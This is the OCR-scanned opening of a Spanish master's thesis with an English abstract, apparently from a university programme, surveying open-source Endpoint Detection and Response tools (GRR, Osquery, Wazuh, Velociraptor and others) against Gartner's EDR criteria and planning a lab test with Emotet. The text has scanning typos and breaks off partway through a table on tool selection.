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Resumen del Trabajo:

La tendencia afio a afilo de amenazas cibernéticas que han impactado grandes
compaiiias con perdidas econdmicas considerables, han permitido la aparicion
de nuevas soluciones que juegan un papel indispensable a la hora de detectar,
mitigar y erradicar incidentes como parte de una estrategia y una postura
robusta de defensa cibernética; los Endpoint Detection and Response (EDR).

Gartner, una entidad reconocida en asesoramiento de tipo estratégico,
menciona que un EDR es una solucion de seguridad que registra y almacena
el comportamiento de un Endpoint (Como una estacion de trabajo o
servidores), utilizando diversas técnicas de andlisis de datos para detectar
comportamientos sospechosos, suministrar informacion contextual, bloquear
actividades maliciosas y proporcionar sugerencias de remediacion en sistemas
afectados.

El trabajo presenta el estado del arte de aquellos sistemas que pueden
asimilarse a una solucion de tipo EDR de tipo open-source, y la
implementacion practica de un espectro de estos (Proof of Concept - PoC),
para observar el funcionamiento y capacidades frente a un sistema victima
infectado con malware reciente tipo Emotet.

Se propone una escala de medicion y una evaluacion de las capacidades de
estos EDR en relacién con las caracteristicas de un EDR mencionadas por
Gartner, con el fin de proporcionar una conclusién del estado de madurez de
estas soluciones libres como parte de implementaciones reales en la empresa,




proporcionando un marco de trabajo con el cual se puedan medir y evaluar
estos sistemas, ademas de las oportunidades de investigacion que pueden
surgir a través del desarrollo de esta investigacion.

Abstract:

The year-by-year trend of cyberthreats has been impacted large companies
with considerable money loss, and this have raised the development of new
solutions as part of the game with an indispensable role in detecting, mitigating
and eradicating incidents as part of a robust and strategic posture on cyber
defense; we're talking about Endpoint Detection and Response (EDR).

Gartner, a recognized strategic advisory entity, argues an EDR is a security
solution which records and stores the behavior of an Endpoint (such as a
workstation or servers), using various data analysis technigues to detect
suspicious behavior, provide contextual information, block malicious activities
and provide remediation suggestions for affected systems.

The work presents the current state of those systems that can be similar to an
EDR type solution in the open-source field, and the practical implementation of
a spectrum of these ones through a Proof of Concept (PoC), to observe the
operation and capabilities against a victim system infected with a recent Emotet
malware.

A measurement scale and an evaluation of the capabilities of these EDRs are
proposed in relation to the characteristics of an EDR mentioned by Gartner, in
order to provide a conclusion of the maturity status of these free solutions as
part of possible implementations in the company, provides a framework to get
these systems measured and evaluated, in addition to the research
opportunities that may create through the development of this research.
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1. Introduccion

1.1 Contexto y justificacion del Trabajo

La tendencia de incidentes de seguridad se percibe en alza, por ejemplo, el
Centro Criptologico Nacional (CCN-CERT) de Espafia en su informe
“Ciberamenazas y Tendencias 2019”, registré una gestion de 38.192 incidentes
durante el afilo 2018, con un incremento en casos de 43,65% respecto a 2017.
El estudio resalta que la proliferacion y conectividad de dispositivos Internet of
Things (IoT)! propicia la distribucion de coédigo malicioso y de ataques
Distributed Denial of Service (DDoS)?, siendo facilitadores de la problematica
relacionada al incremento incidentes. Flagelos emergentes que persiguen
beneficios econémicos como el cryptojacking3, y el asedio en la red de
multiples variantes de ransomware?, hacen parte del panorama actual en el que
los riesgos de ciberseguridad se materializan, afectando a individuales y
sectores industriales.

Por otra parte, las repercusiones y pérdidas econdémicas a raiz de un incidente
cibernético son considerables. Estudios e informes recientes cuyas mediciones
se realizan a nivel global, como el “Costo de una brecha de datos™, que ha
venido realizando desde hace mas de 10 afios el Ponemon Institute e IBM y
gue condensa los resultados de entrevistas con mas de 500 compaiiias
alrededor del mundo que han experimentado y enfrentado incidentes de
seguridad, concluye en su version 2019:

e En promedio, la pérdida econémica por una brecha de seguridad es de
USD $3.92M.

e En promedio, el tiempo para identificar una brecha es de 206 dias,
mientras que, para contenerlo es de 73 dias; con un ciclo® total de 279
dias.

e Las brechas de datos causadas por un ataque malicioso cuestan un
27% mas en comparacion con las relacionadas a errores humanos
($4.45M vs. $3.5M).

e EI sector salud representd la industria mas afectada por las
repercusiones de un incidente, seguida por el sector financiero y de
tecnologia que ocupan la segunda y tercera posicion respectivamente.

! Internet de las cosas, puede definirse como un paradigma y desarrollo en el que los objetos
cotidianos poseen conectividad de red, permitiéndoles envio/recepcion de flujos de datos.

2 Ataque distribuido de denegacion de servicio, es un tipo de ataque dirigido sobre un objetivo
puntual por parte de un conjunto de sistemas o red que causa la indisponibilidad o
funcionamiento regular del objetivo atacado.

3 Uso del procesamiento y potencia de célculo de sistemas informaticos de terceros de manera
no autorizada para el minado y resolucion de transacciones efectuadas entre criptomonedas.

4 Amenaza de codigo malicioso que cifra e impide o restringe el acceso a archivos de un
sistema informatico, permitiendo de nuevo su acceso al recibirse una llave de descifrado una
vez se consiente un rescate o intercambio econémico por obtener dicha llave.

5 Una brecha (O en algunos casos traducido como violacién) de datos, se define como un
incidente en el que datos sensibles de un individuo (Como informacion personal, un registro
médico, o informacién financiera) estan potencialmente en riesgo.

6 El reporte denomina a esta sumatoria, ciclo de vida de la brecha de datos.
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Con el fin de mitigar y reducir los dafios producidos por una amenaza de
seguridad, el estudio recomienda la creacion de un equipo de respuesta a
incidentes’ y la implementacion de tecnologias que mejoren la habilidad de
deteccién y contencién de una brecha de seguridad.

Las necesidades de un equipo de respuesta a incidentes

Un equipo de respuesta a incidentes es organizado comunmente en
situaciones puntuales, es decir cuando el incidente esta en curso o sus
repercusiones ya son percibidas (O sufridas) por la empresa, las personas que
conforman equipos tienen algunos conocimientos de seguridad informética y
poseen roles de administracion y control de sistemas; sin embargo, no cuentan
necesariamente con habilidades especificas en respuesta a incidentes.

Dado el impacto de incidentes cibernéticos a gran escala en diversas
industrias, se ha creado la necesidad (Por estrategia de la empresa o por el
surgimiento de legislacion sobre el tema) de implementar equipos permanentes
de respuesta a incidentes, estrategia que apalanca una vision proactiva de
amenazas antes que surja una crisis en términos de ciberseguridad.

Las organizaciones se estan viendo avocadas a evolucionar de esta vision
reactiva en cuanto a gestion y respuesta a incidentes se refiere, en la cual el
equipo se conforma y actla por una alerta o notificacion externa por parte de
un organismo de aplicacién de la ley (Policial u otros)?, a buscar y propender
por convertirse en una organizacion proactiva y guiada/dirigida hacia la caza de
amenazas (Threat hunting), a través de un equipo en permanente busqueda de
actividad maliciosa, patrones de red sospechosos y variantes de malware.

Implementacion de tecnologias en respuesta a incidentes

Un requisito para la deteccion, contencion y erradicacion de una amenaza
cibernética es dotar a la empresa, y al equipo de respuesta a incidentes, de
visibilidad sobre los activos tecnoldgicos de la compaifia, permitiéndoles
conocer cual es el comportamiento de los puntos finales (En adelante
Endpoints) en tiempo real, proporcionando los datos y la inteligencia suficiente
en momentos de crisis que permitan la toma de decisiones y acciones en el
menor tiempo posible, esta visibilidad y oportunidad de accion se hace posible
a través de la implementacion de herramientas focalizadas en deteccién de
amenazas y respuesta ante incidentes, destacandose la familia emergente de
tecnologia conocida como Endpoint Detection and Response (EDR), solucién
gue garantiza monitoreo, contencién y erradicacion ante las formas de ataque
mas sofisticadas conocidas actualmente, como el “fileless” malware, uso de
funcionalidades como Powershell, WMI®, y formas avanzadas de inyeccién de
cbédigo y ofuscacion que escapan a soluciones basadas en firmas y de
deteccion de amenazas en disco.

7 Se destaca como una de las principales contramedidas al respecto, reduciendo el costo en
aproximadamente USD $360.000 el impacto de una brecha de seguridad.

8 O en casos mas curiosos, a través de quejas de usuarios en redes sociales relacionadas
principalmente a problemas de disponibilidad.
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Gartner Group (En adelante Gartner) define el mercado de los EDR como
“soluciones que registran y almacenan el comportamiento a nivel del Endpoint,
utilizan diversas técnicas de andlisis de datos para detectar comportamientos
sospechosos del sistema, suministrar informacion contextual, bloquear
actividades maliciosas y proporcionar sugerencias de remediacion para
restaurar sistemas afectados”. Las soluciones EDR deben cumplir las
siguientes cuatro funcionalidades:

Detectar incidentes de seguridad
Contener el incidente en el Endpoint
Investigar incidentes de seguridad
Brindar orientacién de remediacion

P wN P

Comercialmente existen diversas opciones que puede tomar una organizacion
al adquirir un EDR, desarrolladas por compaiias de la industria con gran
experiencia en materia de ciberseguridad y que gozan de buena reputacion y
reconocimiento en respuesta a incidentes garantizando la calidad de sus
productos y soluciones. Sin embargo, la comunidad de seguridad ha aportado
importantes alternativas de uso libre y open-source en todo tipo de sistemas 'y a
diversos niveles, con el fin de apoyar la construccidn colectiva de conocimiento
y brindar una vision de la tecnologia sin costo y al alcance de todos.

La presente investigacion, busca proporcionar una perspectiva a los sistemas
EDR open-source, y a través de una revision del estado del arte, establecer
aquellos mas representativos para ser analizados y evaluados mediante una
prueba de concepto (Proof of Concept — PoC), con el fin de proporcionar con la
experimentacion de su operacion y capacidades, conclusiones en el
cumplimiento de las cuatro funcionalidades definidas por Gartner para este tipo
de soluciones de seguridad.



1.2 Objetivos
1.2.1 Objetivo general

Presentar una perspectiva tedrico-practica de los sistemas de respuesta a
incidentes Endpoint Detection & Response EDR cuyo desarrollo es open-
source y estan disponibles para implementacion libre; con el fin de proporcionar
informacion de sus capacidades y servir como marco de referencia que
determine su suficiencia de acuerdo con los criterios definidos por Gartner para
este tipo de tecnologias.

1.2.2 Objetivos especificos

e Analizar el estado del arte a la actualidad de los proyectos y soluciones
EDR que se han impulsado por la comunidad de seguridad en general, y
grupos de desarrollo de estas tecnologias sin animo de lucro.

e |dentificar los sistemas EDR open-source mas representativos y
evaluados como maduros dentro de la investigacién y desarrollo del
estado del arte, para su seleccion e implementacion en laboratorio.

e Conocer la arquitectura de los sistemas EDR open-source seleccionados
para implementacién y experimentacién de capacidades en ambiente de
laboratorio.

e Construir e implementar a nivel practico los EDR open-source
seleccionados para analisis.

e Probar los EDR implementados mediante la infeccién deliberada de un
sistema con malware para verificar la funcionalidad deteccion vy
posibilidad de repuesta de los EDR.

e Proporcionar una conclusion de los EDR respecto a las funcionalidades
determinadas por Gartner como resultado de la prueba de concepto PoC
y testeo efectuados sobre éstos.

e Exponer las conclusiones y oportunidades futuras de desarrollo
adicionales que puedan crearse fruto del desarrollo de este trabajo.



1.3 Metodologia

Definicién del plan de trabajo

Se recopila la informacion del contexto actual para identificar y delimitar la
problemética planteada de manera que se sustente la necesidad de efectuar la
investigacion. Teniendo este marco conceptual, se definen los objetivos, la
metodologia a seguir para desarrollarlos, la estructura de desglose de trabajo
(EDT), se determinan los riesgos y la enumeracion de hitos a través de los
entregables.

Analisis conceptual y del estado del arte

Mediante la recopilacién y analisis de la informacion obtenida se procede a
profundizar en el estudio del estado del arte, para entender con mayor detalle
los desarrollos EDR open-source de implementacion libre mas reconocidos en
la actualidad, identificando asi las similitudes y diferencias preliminares entre
ellos, para determinar los mas representativos® tratdndolos en fases
posteriores mediante implementacion y desarrollo de experimentos con una
PoC usando variantes de software malicioso (malware).

Requisitos para la implementacion de EDRs open-source

Analisis de los requisitos para la implementacion de los EDR open-source
seleccionados a estudio en este trabajo, definicion del ambiente de laboratorio
y recursos necesarios de procesamiento, dependencias de software,
instalacion de componentes, herramientas o médulos de terceros, entre otros.

Implementacion de EDRs open-source

Etapa en la cual se efectuara la instalacion y configuraciones correspondientes
para los sistemas EDR open-source, con el fin de ponerlos a punto y
funcionales para la PoC mediante un testeo con malware.

PoC y mediciones de caracteristicas Gartner

Se pretende evaluar las herramientas EDR y su operacion frente a un sistema
monitoreado y deliberadamente infectado con malware como PoC con el fin de
experimentar, y obtener conclusiones y ponderaciones frente a las
funcionalidades enunciadas por Gartner que deben cumplir este tipo de
sistemas de deteccion y respuesta a amenazas de seguridad.

Conclusiones y oportunidades

En esta etapa final, a través de un analisis sobre la ejecucién del trabajo
realizado, se presentaran las conclusiones referentes a la utilidad potencial de
los sistemas EDR open-source objeto de este estudio para ser implementadas
como una solucién de deteccion, monitoreo y respuesta ante incidentes en el
ambiente productivo de wuna organizacion, ademas de resaltar las
oportunidades y lineas futuras de investigacion que pueden derivarse o
profundizarse tomando como punto de partida este trabajo final de master.

10 En este apartado no se habla de un alcance especifico en cuanto a la cantidad de sistemas a
seleccionar para analizar, durante el proceso de investigacion se concluiran los sistemas a
analizar, tomando en cuenta esta informacion, y las limitaciones en tiempo para el desarrollo
total de este Trabajo Final de Master.



1.4 Listado de tareas

Como parte del alcance y detalle de los componentes de desarrollo de esta
investigacion, se ha desarrollado una EDT, herramienta usada en la gestion de
proyectos que orienta los entregables PEC a lo largo del desarrollo del trabajo.

[Trabajo Final de MésterJ
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llustracién 1. Estructura de desglose de trabajo TFM.

En esta EDT solo se detalla el trabajo necesario para completar el TFM, siendo
la entrega 5 (Video) parte de la sustentacion final del mismo luego de su
desarrollo final.

PEC1 - Plan Trabajo
Punto de control en el que se presenta la planificacion para el desarrollo del
trabajo, consta de los siguientes aspectos para su obtencion:

Contexto y justificacion: Se describe la situacion actual por la cual se
crea la necesidad de desarrollar una investigacion alrededor del tema.
Objetivos: Se trazan los elementos a alcanzarse a través del desarrollo
del trabajo.

Metodologia: Se describen las diferentes fases que seran abordadas
para generar el contenido tedrico suficiente que permita pasar al
desarrollo de un experimento practico y obtener conclusiones.

Listado de actividades (EDT): Trabajo necesario para alcanzar los
objetivos propuestos.

Riesgos preliminares: Enumeracion de los riesgos que pueden impactar
el desarrollo, resolucién de las actividades y por ende los objetivos del
trabajo.

Planificacion de tareas: Estimacion temporal de las actividades
especificas a desarrollar dentro del calendario en que esta establecido el
desarrollo general del proyecto y los hitos (puntos de control) a través de
la entrega de las PEC.



PEC2 - Estado del arte y definicion de sistemas EDR para PoC

Hito en el cual se desarrolla una investigacion tedrica del tema, se llevan a

cabo indagaciones sobre los trabajos y avances alcanzados en torno al tema

de estudio, se analiza la informacién obtenida, se identifican los sistemas mas

representativos del caso, y se toma una decision para profundizar sobre éstos.

¢ |dentificacion de EDR open-source existentes: Revisidon de los proyectos

y soluciones existentes al interior de la comunidad abierta de seguridad,
fuentes de investigacion académica, agremiaciones de tecnologia e
Internet.

e Definicion de EDRs para implementacion: Escogencia de los sistemas
EDR open-source mas robustos desarrollados, para continuar una
revision en detalle de estos.

¢ Andlisis de arquitectura EDR escogidos: Revisidén del disefio de sistemas
EDR, y los componentes y mddulos que lo integran con el fin de
establecer una idea preliminar de requerimientos en hardware/software,
de cara a la implementacion practica de estos.

e Definicion ambiente de laboratorio (Hardware): Establecimiento de
requisitos de infraestructura y procesamiento para establecer el
ambiente de laboratorio de experimentacion.

e Requisitos de software: El software, paquetes, modulos, scripts y
componentes de terceros necesarios para la instalacion y configuracion
del ambiente de laboratorio del trabajo y la implementacion de los EDR
escogidos.

PEC3 - Implementacion de EDRs y PoC

Entrega sobre el componente de experimentacion del tema de estudio, a través
de la instalacion y configuracion del ambiente de laboratorio y ejecucion de la
PoC.

e Construccion de ambiente para experimentacion: Configuracion de
hardware y montaje de infraestructura para instalacion de software.

e Instalacién y configuracion de EDRs: Proceso y consecucion de
ejecucion de scripts, paquetes y software necesario para obtener los
sistemas EDR escogidos.

e Instalacién y configuracion de sistema a infectar: Instalacion de un
sistema de computo para ser infectado como parte de la PoC de testeo
de los EDR.

e Definicion muestra malware para testeo: Analisis para determinar una
amenaza que pueda ser interesante de wusar para probar el
funcionamiento y efectividad en deteccion y respuesta por los EDR de la
PoC.

e Ejecucidn de la infeccion y resultados obtenidos por los EDR:
Verificacion de la operaciéon del EDR luego de ejecutar deliberadamente
la amenaza maliciosa sobre el sistema anfitrion que sera infectado.

PEC4 - Redaccién memoria final

Entregable que representa la integracion completa de informacion y trabajo
desarrollado en el TFM, incluyéndose las conclusiones y oportunidades futuras
de desarrollo o investigacidén sobre el tema de estudio.



¢ Anadlisis de resultados y mediciones del EDR con Gartner: Comparacion
de acuerdo con los resultados de la experimentacion de los EDR
implementados y sus capacidades, frente a las caracteristicas resaltadas
por Gartner que estos sistemas deben cumplir.

e Conclusiones: Resultados finales fruto del analisis tedrico y ejecucion
practica del trabajo de investigacion.

e Oportunidades de investigacion: Se proporcionan ideas que pueden
apoyar nuevas lineas de investigaciéon sobre la tematica en que se
enmarcé el presente trabajo, o, por otra parte, profundizar sobre un
complemento que contribuya a un desarrollo y alcance adicional sobre el
mismo.

e Revision y ajustes finales: Lectura y analisis final del TFM con los
ajustes de forma y estructura correspondientes.

Entregab5 — Presentacion en video
Desarrollo de una exposicion sobre el trabajo, presentandose a través de un
video para ser entregado como soporte de la investigacion desarrollada y como
insumo para la valoracion del tribunal de evaluacion asignado.

e Esquema del contenido del video: Seleccion de contenido del video

e Elaboracion de la presentacion y material de apoyo: Realizacién de la

presentacion
e Grabacioén del video

Defensa trabajo master
e Periodo para la resolucién de inquietudes, aclaracion de dudas y demas
cuestiones que puedan surgir por parte del tribunal encargado del
analisis y evaluacion del trabajo.

1.5 Riesgos preliminares

Sobredimension del alcance: La estructura inicial del proyecto cubre un
conjunto demasiado grande respecto a las limitaciones de tiempo y calendario
establecidas (Aproximadamente 3 meses y medio).

Falta de informacion para el desarrollo de la investigacion: Dificultad en la
identificacion de informacién sobre los temas o areas planteadas en el trabajo a
nivel teérico como de implementacion practica, como manuales, tutoriales y
otros que soporten la construccidbn e implementacién de los EDR a nivel
practico.t

Dificultades en la construccion de sistemas: Errores no esperados durante
la instalacion de software, modulos, paguetes entre otros para la puesta a
punto de los EDR y su integracion con el sistema a infectar para la PoC.

11 Al tratarse de una investigacion sobre tecnologias no comerciales, que son desarrolladas y
soportadas por colaboradores de la comunidad de seguridad.



1.6 Planificaciéon

A continuacién, se encuentra la planificacion temporal de actividades mediante
un diagrama de Gantt.

DURATION

ACTIVITY [DATS]
Trabajo Final de Master 3
Contertualizacion sobre la materia LOC 1
FPautas para el desarrallo del trabajo [Lectura de Iria

da Cunha) 2
Plan de wabajo 10
Contesto yjustificacian 3
Objetivos 7
Metodologia 4
Listado de actividades (EOT) 4
Rie=gos preliminares 1
Planificacion de tareas E
Estado del arte v definicion de sistemas 22
[dentifizacion de EOR open-source edistentes T
Definicidn de EDOR para implementacian d
Analizis de arquitectura EOR ezcogidos T
Definicidn ambiente de laboratorio [Hardw are) 3
Requisitos de saftw are 3

Implementacion de EODOR=s v Pol 78
Construccion de ambiente para experimentacion E
Imstalacidn v configuracian de EDRs B
Imstalacidn v configuracidn de sistema ainfectar d
Definicidn muestra malw are para testeo E
Ejecucion de lainfeccidn v resultadas abtenidos par

l=s EOR E
Redaccion memoria final 1
Analisis de resultados w mediciones del EDOR con

Sartrer 10

Conclusiones

Cportunidades de investigacian

Revizian v ajustes finales

Presentacion en video

Ezquema del contenido del videa

Elabaracion de la presentacidn v material de apovo
Grabacion del video

M2 P = I B

llustracion 2. Planificacion de actividades
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llustracion 3. Diagrama de Gantt (Parte 1)
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1.7 Productos obtenidos

Apoyado en la EDT desarrollada para el desarrollo del TFM, los productos
obtenidos que conforman el resultado final del proyecto son:

PEC1: Que condensa el plan de trabajo, donde se define la manera y guia en
gue sera desarrollado el TFM.

PEC2: Que presenta el estado del arte del tema y un andlisis puntual de los
sistemas EDR escogidos para las etapas practicas del trabajo.

PEC3: Donde se expresan los resultados sobre la etapa practica y de
experimentacion de los EDR y el desarrollo de la PoC para observar las
capacidades y rendimientos de estos.

PEC4:. Compendio de entregas PEC desarrolladas a lo largo del TFM,
incluyendo las conclusiones y trabajo futuro que puede establecerse alrededor
del mismo.

Entrega 5: Elaboracion de material de apoyo y desarrollo de un video sobre el

trabajo, donde se sustentan los componentes mas relevantes de la
investigacion y sus conclusiones.

11



2. ¢, Que es un Endpoint?

Para muchos profesionales de tecnologia y que se desempefian en el campo
de la seguridad de la informacién, una definicion comun de Endpoint es
“Cualquier cosa con un teclado”. No obstante, la evolucidon digital ha traido
consigo un mundo mavil e interconectado, que incluye dispositivos personales,
maquinas virtuales, terminales de punto de venta (POS - Point-of-sale),
unidades del Internet de las Cosas (loT — Internet of Things) y sistemas
industriales del mundo OT*?, entre otros.

Con la inclusion de estas nuevas tecnologias, esta definicién puede extenderse
como “Cualquier dispositivo con capacidades de poseer una direccion IP
permitida para interactuar al interior de una organizacion”.

La figura ilustra la jerarquia de dispositivos y el valor de negocio que estos
representan cominmente para una organizacion®®; la base de la piramide
representa los dispositivos de usuario final como equipos de escritorio o
portatiles que pueden llegar a ser menos sensible que un servidor, por ejemplo.

Critical high-value systems
(servers, cloud, OT)

Mid-level risk assets
(network devices, business-critical
endpoints)

End-user devices
(desktops, laptops, mobile)

llustracién 5. Pirdmide de activos tecnoldgicos y valor de negocio

Se debe destacar la necesidad de proteccion y monitoreo a lo largo de todos
los sistemas que conforman esta pirdmide, que en su conjunto conforman lo
gue puede denominarse como un Endpoint, todos ellos traen consigo riesgos
gue pueden llevar a escenarios en que, a través del compromiso de una
amenaza en un activo de menor valor estratégico, puede convertirse un punto
de pivote o salto hacia activos mas sensibles.

12 Operation Technology. Se conoce con este concepto al hardware y software dedicado al
control y cambios de dispositivos fisicos como valvulas, tuberias, compuertas de sistemas
industriales como el SCADA (Supervisory Control and Data Acquisition).

13 Jlustraciones 5 y 6 tomadas del libro Endpoint Detection and Response for dummies.
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3. Definiendo un EDR

3.1 ¢ Qué es y qué funcion cumple una tecnologia EDR?

Endpoint Detection and Response, conocido en el mundo de la tecnologia con
el acrénimo EDR, se ha convertido rapidamente en un método para identificar y
responder a amenazas en el entorno computacional de una organizacién. La
compaifia de investigacion y consultoria Gartner define EDR como “soluciones
gue registran y almacenan el comportamiento a nivel del Endpoint, utilizan
diversas técnicas de analisis de datos para detectar comportamientos
sospechosos del sistema, suministrar informacion contextual, bloquear
actividades maliciosas y proporcionar sugerencias de remediacién para
restaurar sistemas afectados”. Este tipo de sistemas demandan las siguientes
cuatro caracteristicas ilustradas a continuacion, el primer criterio corresponde
con la deteccion, mientras que los otros tres hacen parte de las actividades de
respuesta:

e Habilidad de detectar incidentes de seguridad cuando ocurren
o Deteccién de incidentes que representen debilidades o detrimento
en la seguridad de los Endpoint y que pueden propagarse a otros
equipos de la red confirmando violaciones de seguridad,
monitoreo de actividades y validando indicadores de compromiso.
(1oC).

e Contener el incidente en el/los Endpoint(s)
o Estrategias que contribuyen a la mitigacion del incidente, las
cuales pueden ser el bloqueo de ejecucion de un proceso,
terminar conexiones ip/dominio, aislar el agente, entre otros.

e Soportar la investigacion del incidente
o Proporcionar capacidades adicionales para verificar cambios en
integridad de archivos, procesos y actividad que ha ocurrido en el
sistema.

e Proporcionar mecanismos para remediar la situacion sobre el/los
Endpoint(s) afectados
o Habilidades para remocion de la amenaza en el sistema, como
eliminacién de archivos, llaves de registro creadas para
persistencia, detencion (parada) de tareas programadas.
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llustracién 6. Las cuatro capacidades de un EDR

Los sistemas EDR, consiguen a través de un agente de software servicio o
similares instalado en los Endpoint, deteccibn de amenazas, supervision y
capacidad recoleccion de informacién recibida y procesada de manera
centralizada con la cual se realiza analisis del comportamiento, actividades,
configuraciones de software, entre otras que ocurren en tiempo real y con las
cuales se pueden inferir problemas de seguridad de los equipos monitoreados.

3.2 Panorama actual de soluciones EDR open-source

Dado que las tecnologias EDR son un mercado impulsado y estudiado por
grandes casas de tecnologia y entidades expertas en la materia vistas
anteriormente entre ellas Gartner; se cuenta en Internet y los sitios web de
proveedores como CrowdStrike o Carbon Black (Por mencionar algunos)
informacion respecto a las funcionalidades de sus respectivos desarrollos, asi
como comparaciones con otras opciones similares dentro de este conjunto de
soluciones. Esta situacién no presenta el mismo escenario para los desarrollos
EDR de tipo open-source; durante el desarrollo de esta investigacion, se ha
llegado a la conclusion que el panorama al respecto se encuentra en estados
iniciales, no se observan fuentes variadas de consulta, ni estudios o
comparaciones respecto a las herramientas desarrolladas de este tipo.

Si bien la situacion expuesta reflejo aparentemente limitaciones por no contarse
con fuentes que hablen del tema, aquellos sistemas que poseen
funcionalidades que pueden enmarcarse como EDR open-source, cuentan con
su presentaciéon como producto y su desarrollo en paginas web propias de
estas tecnologias y en repositorios de cddigo abierto como GitHub.

15



Una de las fuentes iniciales de informacién respecto a la identificacion de
soluciones EDR open-source corresponde a un articulo de la empresa Cyberbit
escrito durante 2017 y denominado “Top 5 Open Source Incident Response
Automation Tools”.

En este recurso, se puede observar la referencia a algunas herramientas y
sistemas open-source que automatizan y atienden de manera remota
Endpoints asimilandose a soluciones tipo EDR como son:

e CimSweep

Es una suite basada en WMI que posibilita la conduccién de tareas
relacionadas con respuesta a incidentes y caceria de amenazas de manera
remota en sistemas basados en Windows.

El proyecto se encuentra en el siguiente repositorio GitHub
https://github.com/PowerShellMafia/CimSweep

¢ GRR Rapid Response

Es un sistema basado en lenguaje Python y el despliegue de agentes de
monitoreo que reportan centralizadamente a un servidor desde el cual es
posible el acceso remoto a los Endpoints para desarrollar labores de respuesta
a incidentes, posibilita revision y analisis de archivos y del registro de Windows.
La solucion cuenta con soporte para Endpoints cliente Windows, Linux y OSX.

El proyecto se encuentra en el repositorio GitHub https://github.com/google/arr,
y la documentacion en https://grr-doc.readthedocs.io/en/latest/.

e Osquery

Sistema multiplataforma (Windows, Linux, OSX) creado por Facebook que
habilita la vision del sistema operativo a través de peticiones 0 sentencias en
lenguaje SQL.

Osquery cuenta con una pagina web propia del proyecto en https://osquery.io/,
el codigo se encuentra en GitHub en https://github.com/osquery/osquery y la
documentacion en https://osquery.readthedocs.io/en/stable/.

e MIG

Plataforma creada por Mozilla para el analisis e investigacion de Endpoints
remotos, se basa en agentes que son instalados sobre la infraestructura que
sera monitoreada. MIG permite analisis del sistema de archivos, estado de red,
configuracion y memoria RAM.

Cabe destacar que este proyecto dejé de ser mantenido por Mozilla y tampoco
es usado al interior de la compaifiia, el proyecto y cédigo puede aun ser usado
sin mucha garantia de su efectividad dada su falta de soporte. La pagina oficial
del proyecto se encuentra en https://mig.mozilla.org/, su codigo en
https://github.com/mozilla/mig, y la documentacion en
https://mig.mozilla.org/doc.html.
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Finalmente, en este recurso de Internet se mencionaba a TheHive, una
plataforma que facilita la creacién de casos e investigacion de incidentes. Al
revisar el proyecto se concluyé que no es una solucién pensada para el
monitoreo de Endpoints y se pueda tomar como un EDR. No obstante, se
incluye ésta como referencia dentro del estado del arte de sistemas open-
source orientados a seguridad y respuesta a incidentes. Sitio web propio en
https://thehive-project.org/, el codigo se encuentra en GitHub en
https://github.com/TheHive-Project/TheHive 'y la  documentacion  en
https://qgithub.com/TheHive-Project/TheHiveDocs.

Se realiz6 investigacion usando portales reconocidos como el IEEE (Institute of
Electrical and Electronics Engineers), ACM (Association for Computing
Machinery) entre otras fuentes de informacion cientifica y de tecnologia con el
fin de identificar publicaciones o trabajos desarrollados en este tema sin
identificarse informacién asociada. Navegando en el portal de cédigo libre
GitHub y en general a través de Internet se identificaron proyectos adicionales
como son:

e \Wazuh

Es una evolucion del proyecto OSSEC de 2004 que extiende la funcionalidad
de este IDS a nivel de host (HIDS o Host Intrusion, Detection System). Hacia el
afio 2015, el equipo de desarrollé6 emprendié esfuerzos por lograr una solucion
de seguridad mas completa.

Cuenta con diferentes caracteristicas como integracion con tecnologias de
nube de Amazon Web Services (AWS) y Microsoft Azure, ademas de
funcionalidades de respuesta a incidentes valiéndose de Osquery para efectuar
peticiones a demanda.

El proyecto cuenta con una web propia en https://wazuh.com/, el cédigo del
proyecto en https://github.com/wazuh/wazuh, y la documentacion en
https://documentation.wazuh.com/3.10/index.html.

e LimaCharlie

Es una plataforma en nube que elimina la necesidad de implementacion de
infraestructura y mantenimiento. Funciona gracias al despliegue de agentes
gue son descargados desde la interfaz web e instalados hacia los Endpoint que
quieren ser monitoreados, nhaci® como un proyecto open-source hasta
transformarse en lo que es a la actualidad; los creadores del proyecto tenian su
cbdigo en el repositorio GitHub https://github.com/refractionPOINT/limacharlie
donde sus creadores mencionan que la version libre no la pueden mantener y
se encuentran en planes de abrir nuevamente el conocimiento a la comunidad
abierta de seguridad.

LimaCharlie ofrece diferentes metodologias de pago de acuerdo con las
funcionalidades que se requieran habilitar iniciando por un costo de USD $0.50
por agente instalado que ofrece habilidades de deteccion-respuesta de
amenazas y una opcién de acceso remoto Live View, que se puede observar
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comunmente en herramientas EDR de tipo comercial y es muy Util para
efectuar labores de respuesta ante incidentes. La pagina oficial es
https://www.limachatrlie.io/ y su documentacion de uso en
http://doc.limacharlie.io/en/master/.

e Velociraptor

Es una plataforma open-source enfocada al monitoreo y desarrollo de
actividades basadas en forense digital, recoleccion de informacion para
investigaciones, caza de amenazas y respuesta a incidentes, su arquitectura
cliente-servidor permite el monitoreo centralizado de Endpoints, cuenta con
soporte para sistemas Windows, Linux y Mac OSX. El motor de reglas
empleado para la recoleccion de informacién, a diferencia de muchas
soluciones que emplean Osquery, es Velociraptor Query Language (VQL)
desarrollado por los creadores de la solucién. Se percibe como una solucién
muy similar a GRR expuesta anteriormente. La informacion sobre este proyecto
se encuentra en https://www.velocidex.com/ y su documentacion en
https://www.velocidex.com/docs/.
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4. Herramientas EDR seleccionadas para PoC

Luego de la investigacion y una vez identificados y analizadas las herramientas
EDR open-source existentes para la comunidad de seguridad, y que pueden
ser implementadas y usadas a nivel empresarial, la tabla a continuacién
presenta cada uno de los sistemas anteriormente enunciados, junto con su
justificacion de eleccién o no, con el fin de profundizar sobre estos proyectos y
gue seran sujetos para la PoC y de experimentacion practica de sus
capacidades y funcionalidades.

CimSweep

Andlisis y justificacion

Revisando el proyecto, el desarrollo se percibe como un uso
interesante de las funcionalidades WMI de los sistemas Microsoft,
esta tecnologia comunmente es utilizada con propésitos maliciosos
y como parte de las Tacticas, técnicas y procedimientos (TTP) que
se pueden identificar en un ataque informatico, con lo cual su uso
se convierte de doble propésito (legitimo o ilegitimo) a nivel
empresarial. Este proyecto no fue seleccionado para continuar con
los propésitos de esta investigacion ya que no cuenta propiamente
con las habilidades de un EDR en cuanto a identificacion,
deteccion, alertamiento de amenazas y otros componentes propios
de otros componentes. La suite puede ser Util para labores de
respuesta cuando ya esta confirmado un incidente o una situacién
anomala en los Endpoint una vez una herramienta externa avise de
la situacion. Una desventaja de esta herramienta es que no es
multiplataforma, ya que WMI fue desarrollada por Microsoft y
solamente cubre sistemas Windows.

\Seleccionado

GRR Rapid
Response

Este sistema de Google se accede a través de una interfaz web
que garantiza una visibilidad a nivel grafico de los Endpoints, es
